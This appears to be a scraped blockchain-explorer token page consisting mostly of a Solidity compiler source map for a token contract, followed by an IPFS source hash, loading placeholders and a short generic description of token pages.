1812:7999:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2483:35;;;;;;;;;;;;;;;-1:-1:-1;;;2483:35:0;;;;;;;;;;;;:::i;:::-;;;;;;;;4454:158;;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;4454:158:0;1162:187:1;2611:45:0;;;;;;;;;1500:25:1;;;1488:2;1473:18;2611:45:0;1354:177:1;7665:421:0;;;;;;:::i;:::-;;:::i;:::-;;4620:248;;;;;;:::i;:::-;;:::i;2569:35::-;;2602:2;2569:35;;;;;2931:4:1;2919:17;;;2901:36;;2889:2;2874:18;2569:35:0;2759:184:1;7367:290:0;;;;;;:::i;:::-;;:::i;4876:242::-;;;;;;:::i;:::-;;:::i;8102:86::-;;;;;;:::i;:::-;;:::i;4018:117::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4110:17:0;4083:7;4110:17;;;:8;:17;;;;;;;4018:117;3927:83;;;:::i;1895:20::-;;;;;-1:-1:-1;;;;;1895:20:0;;;;;;-1:-1:-1;;;;;3364:32:1;;;3346:51;;3334:2;3319:18;1895:20:0;3200:203:1;6993:358:0;;;;;;:::i;:::-;;:::i;8200:293::-;;;;;;:::i;:::-;;:::i;5126:438::-;;;;;;:::i;:::-;;:::i;4143:150::-;;;;;;:::i;:::-;;:::i;4301:145::-;;;;;;:::i;:::-;;:::i;4454:158::-;4528:4;4545:37;4554:10;4566:7;4575:6;4545:8;:37::i;:::-;-1:-1:-1;4600:4:0;4454:158;;;;;:::o;7665:421::-;3470:6;;-1:-1:-1;;;;;3470:6:0;3480:10;3470:20;3462:56;;;;-1:-1:-1;;;3462:56:0;;5474:2:1;3462:56:0;;;5456:21:1;5513:2;5493:18;;;5486:30;-1:-1:-1;;;5532:18:1;;;5525:53;5595:18;;3462:56:0;;;;;;;;;7822:9:::1;7817:262;7837:17:::0;;::::1;7817:262;;;7903:19;7880:20;7890:6;;7897:1;7890:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;7880:20::-;:42;7876:192;;;7943:20;7966:33;7979:6;;7986:1;7979:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;7990:8;7966:12;:33::i;:::-;7943:56;;8040:12;8018:8;:19;8027:6;;8034:1;8027:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8018:19:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;8018:19:0;:34;-1:-1:-1;7876:192:0::1;7856:3:::0;::::1;::::0;::::1;:::i;:::-;;;;7817:262;;;;7665:421:::0;;;;:::o;4620:248::-;4742:4;4759:41;4775:4;4781:10;4793:6;4759:15;:41::i;:::-;4811:27;4821:4;4827:2;4831:6;4811:9;:27::i;:::-;-1:-1:-1;4856:4:0;4620:248;;;;;:::o;7367:290::-;7432:7;7453:16;7471;7493:5;;;;;;;;;-1:-1:-1;;;;;7493:5:0;-1:-1:-1;;;;;7493:17:0;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7452:60;;;;;7523:24;7569:5;-1:-1:-1;;;;;7551:23:0;:5;;;;;;;;;-1:-1:-1;;;;;7551:5:0;-1:-1:-1;;;;;7551:12:0;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7551:23:0;;7550:65;;7606:8;-1:-1:-1;;;;;7598:17:0;7550:65;;;7586:8;-1:-1:-1;;;;;7578:17:0;7550:65;7523:92;7367:290;-1:-1:-1;;;;;7367:290:0:o;4876:242::-;4964:4;4999:10;5020:68;4999:10;5038:7;5077:10;5047:27;4999:10;5038:7;5047:9;:27::i;:::-;:40;;;;:::i;:::-;5020:8;:68::i;8102:86::-;3355:5;;-1:-1:-1;;;;;3355:5:0;3364:10;3355:19;3347:55;;;;-1:-1:-1;;;3347:55:0;;7264:2:1;3347:55:0;;;7246:21:1;7303:2;7283:18;;;7276:30;-1:-1:-1;;;7322:18:1;;;7315:53;7385:18;;3347:55:0;7062:347:1;3347:55:0;8164:6:::1;:16:::0;;-1:-1:-1;;;;;;8164:16:0::1;-1:-1:-1::0;;;;;8164:16:0;;;::::1;::::0;;;::::1;::::0;;8102:86::o;3927:83::-;3355:5;;-1:-1:-1;;;;;3355:5:0;3364:10;3355:19;3347:55;;;;-1:-1:-1;;;3347:55:0;;7264:2:1;3347:55:0;;;7246:21:1;7303:2;7283:18;;;7276:30;-1:-1:-1;;;7322:18:1;;;7315:53;7385:18;;3347:55:0;7062:347:1;3347:55:0;3984:5:::1;:18:::0;;-1:-1:-1;;;;;;3984:18:0::1;::::0;;3927:83::o;6993:358::-;3470:6;;7171:4;;-1:-1:-1;;;;;3470:6:0;3480:10;3470:20;3462:56;;;;-1:-1:-1;;;3462:56:0;;5474:2:1;3462:56:0;;;5456:21:1;5513:2;5493:18;;;5486:30;-1:-1:-1;;;5532:18:1;;;5525:53;5595:18;;3462:56:0;5272:347:1;3462:56:0;7193:9:::1;7188:134;7212:10;:17;7208:1;:21;7188:134;;;7251:59;7257:10;7268:1;7257:13;;;;;;;;:::i;:::-;;;;;;;7272:11;7285:10;7297:12;7251:5;:59::i;:::-;7231:3:::0;::::1;::::0;::::1;:::i;:::-;;;;7188:134;;;-1:-1:-1::0;7339:4:0::1;::::0;6993:358;-1:-1:-1;;;;;6993:358:0:o;8200:293::-;8302:9;8297:189;8317:22;;;8297:189;;;8401:11;;8413:1;8401:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;8372:10;;8366:50;;;7661:25:1;;;8372:10:0;7717:2:1;7702:18;;7695:34;;;7745:18;;;7738:34;7803:2;7788:18;;7781:34;;;8366:50:0;;-1:-1:-1;;;;;8366:50:0;;;;8372:10;;;;8366:50;;;;;7648:3:1;8366:50:0;;;8453:11;;8465:1;8453:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;8445:6;;8436:38;;1500:25:1;;;-1:-1:-1;;;;;8436:38:0;;;;8445:6;;;;8436:38;;1488:2:1;1473:18;8436:38:0;;;;;;;8341:3;;;;:::i;:::-;;;;8297:189;;5126:438;5219:4;5254:10;5219:4;5302:27;5254:10;5321:7;5302:9;:27::i;:::-;5275:54;;5368:15;5348:16;:35;;5340:85;;;;-1:-1:-1;;;5340:85:0;;8028:2:1;5340:85:0;;;8010:21:1;8067:2;8047:18;;;8040:30;8106:34;8086:18;;;8079:62;-1:-1:-1;;;8157:18:1;;;8150:35;8202:19;;5340:85:0;7826:401:1;5340:85:0;5461:62;5470:7;5479;5507:15;5488:16;:34;5461:8;:62::i;:::-;-1:-1:-1;5552:4:0;;5126:438;-1:-1:-1;;;;5126:438:0:o;4143:150::-;4213:4;4230:33;4240:10;4252:2;4256:6;4230:9;:33::i;4301:145::-;-1:-1:-1;;;;;4410:19:0;;;4383:7;4410:19;;;:10;:19;;;;;;;;:28;;;;;;;;;;;;;4301:145::o;6131:387::-;-1:-1:-1;;;;;6269:21:0;;6261:70;;;;-1:-1:-1;;;6261:70:0;;8434:2:1;6261:70:0;;;8416:21:1;8473:2;8453:18;;;8446:30;8512:34;8492:18;;;8485:62;-1:-1:-1;;;8563:18:1;;;8556:34;8607:19;;6261:70:0;8232:400:1;6261:70:0;-1:-1:-1;;;;;6350:21:0;;6342:68;;;;-1:-1:-1;;;6342:68:0;;8839:2:1;6342:68:0;;;8821:21:1;8878:2;8858:18;;;8851:30;8917:34;8897:18;;;8890:62;-1:-1:-1;;;8968:18:1;;;8961:32;9010:19;;6342:68:0;8637:398:1;6342:68:0;-1:-1:-1;;;;;6423:19:0;;;;;;;:10;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;6476:34;;1500:25:1;;;6476:34:0;;1473:18:1;6476:34:0;;;;;;;;6131:387;;;:::o;9218:146::-;-1:-1:-1;;;;;9330:15:0;;9296:7;9330:15;;;:8;:15;;;;;;9323:33;;9347:8;9323:6;:33::i;:::-;9316:40;9218:146;-1:-1:-1;;;9218:146:0:o;6526:459::-;6663:24;6690:27;6700:7;6709;6690:9;:27::i;:::-;6663:54;;-1:-1:-1;;6732:16:0;:37;6728:250;;6814:6;6794:16;:26;;6786:68;;;;-1:-1:-1;;;6786:68:0;;9242:2:1;6786:68:0;;;9224:21:1;9281:2;9261:18;;;9254:30;9320:31;9300:18;;;9293:59;9369:18;;6786:68:0;9040:353:1;6786:68:0;6898:53;6907:7;6916;6944:6;6925:16;:25;6898:8;:53::i;:::-;6652:333;6526:459;;;:::o;5572:551::-;-1:-1:-1;;;;;5703:18:0;;5695:68;;;;-1:-1:-1;;;5695:68:0;;9600:2:1;5695:68:0;;;9582:21:1;9639:2;9619:18;;;9612:30;9678:34;9658:18;;;9651:62;-1:-1:-1;;;9729:18:1;;;9722:35;9774:19;;5695:68:0;9398:401:1;5695:68:0;-1:-1:-1;;;;;5782:16:0;;5774:64;;;;-1:-1:-1;;;5774:64:0;;10006:2:1;5774:64:0;;;9988:21:1;10045:2;10025:18;;;10018:30;10084:34;10064:18;;;10057:62;-1:-1:-1;;;10135:18:1;;;10128:33;10178:19;;5774:64:0;9804:399:1;5774:64:0;-1:-1:-1;;;;;5873:14:0;;5851:19;5873:14;;;:8;:14;;;;;;5906:21;;;;5898:72;;;;-1:-1:-1;;;5898:72:0;;10410:2:1;5898:72:0;;;10392:21:1;10449:2;10429:18;;;10422:30;10488:34;10468:18;;;10461:62;-1:-1:-1;;;10539:18:1;;;10532:36;10585:19;;5898:72:0;10208:402:1;5898:72:0;5998:24;6002:11;6015:6;5998:3;:24::i;:::-;-1:-1:-1;;;;;5981:14:0;;;;;;;:8;:14;;;;;;:41;;;;6052:12;;;;;;;6048:25;;6066:6;6048:3;:25::i;:::-;-1:-1:-1;;;;;6033:12:0;;;;;;;:8;:12;;;;;;;:40;;;;6089:26;;;;;;;;;;6108:6;1500:25:1;;1488:2;1473:18;;1354:177;6089:26:0;;;;;;;;5684:439;5572:551;;;:::o;8501:341::-;8661:37;8675:9;8686:11;8661:13;:37::i;:::-;8709:45;8719:11;8732:10;8744:9;8709;:45::i;:::-;8815:5;;8765:69;;-1:-1:-1;;;8765:69:0;;-1:-1:-1;;;;;10873:15:1;;;8765:69:0;;;10855:34:1;8815:5:0;;;10905:18:1;;;10898:43;10957:18;;;10950:34;;;8765:30:0;;;;;;10790:18:1;;8765:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;9707:101::-;9768:7;9795:5;9799:1;9795;:5;:::i;3735:184::-;3793:7;3826:1;3821;:6;;3813:49;;;;-1:-1:-1;;;3813:49:0;;11701:2:1;3813:49:0;;;11683:21:1;11740:2;11720:18;;;11713:30;11779:32;11759:18;;;11752:60;11829:18;;3813:49:0;11499:354:1;3813:49:0;3873:9;3885:5;3889:1;3885;:5;:::i;:::-;3873:17;3735:184;-1:-1:-1;;;;3735:184:0:o;3546:181::-;3604:7;;3636:5;3640:1;3636;:5;:::i;:::-;3624:17;;3665:1;3660;:6;;3652:46;;;;-1:-1:-1;;;3652:46:0;;12193:2:1;3652:46:0;;;12175:21:1;12232:2;12212:18;;;12205:30;12271:29;12251:18;;;12244:57;12318:18;;3652:46:0;11991:351:1;8850:144:0;8955:5;;8938:48;;1500:25:1;;;-1:-1:-1;;;;;8938:48:0;;;;8955:5;;8938:48;;1488:2:1;1473:18;8938:48:0;;;;;;;8850:144;;:::o;9002:208::-;9145:14;;9140:62;;;7661:25:1;;;9145:14:0;7717:2:1;7702:18;;7695:34;;;7745:18;;;7738:34;;;;7803:2;7788:18;;7781:34;;;-1:-1:-1;;;;;9140:62:0;;;;9145:14;;9140:62;;7648:3:1;7633:19;9140:62:0;7414:407:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:757::-;1640:6;1648;1656;1664;1717:2;1705:9;1696:7;1692:23;1688:32;1685:52;;;1733:1;1730;1723:12;1685:52;1773:9;1760:23;1802:18;1843:2;1835:6;1832:14;1829:34;;;1859:1;1856;1849:12;1829:34;1897:6;1886:9;1882:22;1872:32;;1942:7;1935:4;1931:2;1927:13;1923:27;1913:55;;1964:1;1961;1954:12;1913:55;2004:2;1991:16;2030:2;2022:6;2019:14;2016:34;;;2046:1;2043;2036:12;2016:34;2101:7;2094:4;2084:6;2081:1;2077:14;2073:2;2069:23;2065:34;2062:47;2059:67;;;2122:1;2119;2112:12;2059:67;2153:4;2145:13;;;;2177:6;;-1:-1:-1;2215:20:1;;;2202:34;;2283:2;2268:18;2255:32;;-1:-1:-1;1536:757:1;;-1:-1:-1;;;;1536:757:1:o;2298:456::-;2375:6;2383;2391;2444:2;2432:9;2423:7;2419:23;2415:32;2412:52;;;2460:1;2457;2450:12;2412:52;2499:9;2486:23;2518:31;2543:5;2518:31;:::i;:::-;2568:5;-1:-1:-1;2625:2:1;2610:18;;2597:32;2638:33;2597:32;2638:33;:::i;:::-;2298:456;;2690:7;;-1:-1:-1;;;2744:2:1;2729:18;;;;2716:32;;2298:456::o;2948:247::-;3007:6;3060:2;3048:9;3039:7;3035:23;3031:32;3028:52;;;3076:1;3073;3066:12;3028:52;3115:9;3102:23;3134:31;3159:5;3134:31;:::i;3408:127::-;3469:10;3464:3;3460:20;3457:1;3450:31;3500:4;3497:1;3490:15;3524:4;3521:1;3514:15;3540:1334;3651:6;3659;3667;3675;3728:3;3716:9;3707:7;3703:23;3699:33;3696:53;;;3745:1;3742;3735:12;3696:53;3785:9;3772:23;3814:18;3855:2;3847:6;3844:14;3841:34;;;3871:1;3868;3861:12;3841:34;3909:6;3898:9;3894:22;3884:32;;3954:7;3947:4;3943:2;3939:13;3935:27;3925:55;;3976:1;3973;3966:12;3925:55;4012:2;3999:16;4034:4;4057:2;4053;4050:10;4047:36;;;4063:18;;:::i;:::-;4109:2;4106:1;4102:10;4141:2;4135:9;4204:2;4200:7;4195:2;4191;4187:11;4183:25;4175:6;4171:38;4259:6;4247:10;4244:22;4239:2;4227:10;4224:18;4221:46;4218:72;;;4270:18;;:::i;:::-;4306:2;4299:22;4356:18;;;4390:15;;;;-1:-1:-1;4432:11:1;;;4428:20;;;4460:19;;;4457:39;;;4492:1;4489;4482:12;4457:39;4516:11;;;;4536:148;4552:6;4547:3;4544:15;4536:148;;;4618:23;4637:3;4618:23;:::i;:::-;4606:36;;4569:12;;;;4662;;;;4536:148;;;4703:6;-1:-1:-1;;4741:18:1;;4728:32;;-1:-1:-1;;;4807:2:1;4792:18;;4779:32;;-1:-1:-1;4830:38:1;;-1:-1:-1;4864:2:1;4849:18;;4830:38;:::i;:::-;4820:48;;3540:1334;;;;;;;:::o;4879:388::-;4947:6;4955;5008:2;4996:9;4987:7;4983:23;4979:32;4976:52;;;5024:1;5021;5014:12;4976:52;5063:9;5050:23;5082:31;5107:5;5082:31;:::i;:::-;5132:5;-1:-1:-1;5189:2:1;5174:18;;5161:32;5202:33;5161:32;5202:33;:::i;:::-;5254:7;5244:17;;;4879:388;;;;;:::o;5624:127::-;5685:10;5680:3;5676:20;5673:1;5666:31;5716:4;5713:1;5706:15;5740:4;5737:1;5730:15;5756:127;5817:10;5812:3;5808:20;5805:1;5798:31;5848:4;5845:1;5838:15;5872:4;5869:1;5862:15;5888:135;5927:3;5948:17;;;5945:43;;5968:18;;:::i;:::-;-1:-1:-1;6015:1:1;6004:13;;5888:135::o;6028:188::-;6107:13;;-1:-1:-1;;;;;6149:42:1;;6139:53;;6129:81;;6206:1;6203;6196:12;6221:450;6308:6;6316;6324;6377:2;6365:9;6356:7;6352:23;6348:32;6345:52;;;6393:1;6390;6383:12;6345:52;6416:40;6446:9;6416:40;:::i;:::-;6406:50;;6475:49;6520:2;6509:9;6505:18;6475:49;:::i;:::-;6465:59;;6567:2;6556:9;6552:18;6546:25;6611:10;6604:5;6600:22;6593:5;6590:33;6580:61;;6637:1;6634;6627:12;6580:61;6660:5;6650:15;;;6221:450;;;;;:::o;6676:251::-;6746:6;6799:2;6787:9;6778:7;6774:23;6770:32;6767:52;;;6815:1;6812;6805:12;6767:52;6847:9;6841:16;6866:31;6891:5;6866:31;:::i;6932:125::-;6997:9;;;7018:10;;;7015:36;;;7031:18;;:::i;10995:277::-;11062:6;11115:2;11103:9;11094:7;11090:23;11086:32;11083:52;;;11131:1;11128;11121:12;11083:52;11163:9;11157:16;11216:5;11209:13;11202:21;11195:5;11192:32;11182:60;;11238:1;11235;11228:12;11277:217;11317:1;11343;11333:132;;11387:10;11382:3;11378:20;11375:1;11368:31;11422:4;11419:1;11412:15;11450:4;11447:1;11440:15;11333:132;-1:-1:-1;11479:9:1;;11277:217::o;11858:128::-;11925:9;;;11946:11;;;11943:37;;;11960:18;;:::i
Swarm Source
ipfs://7a1f1620ecb8f6046cf977f3465dcc2017ecb96f80b0eaaecddd7b4fb9fca621
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.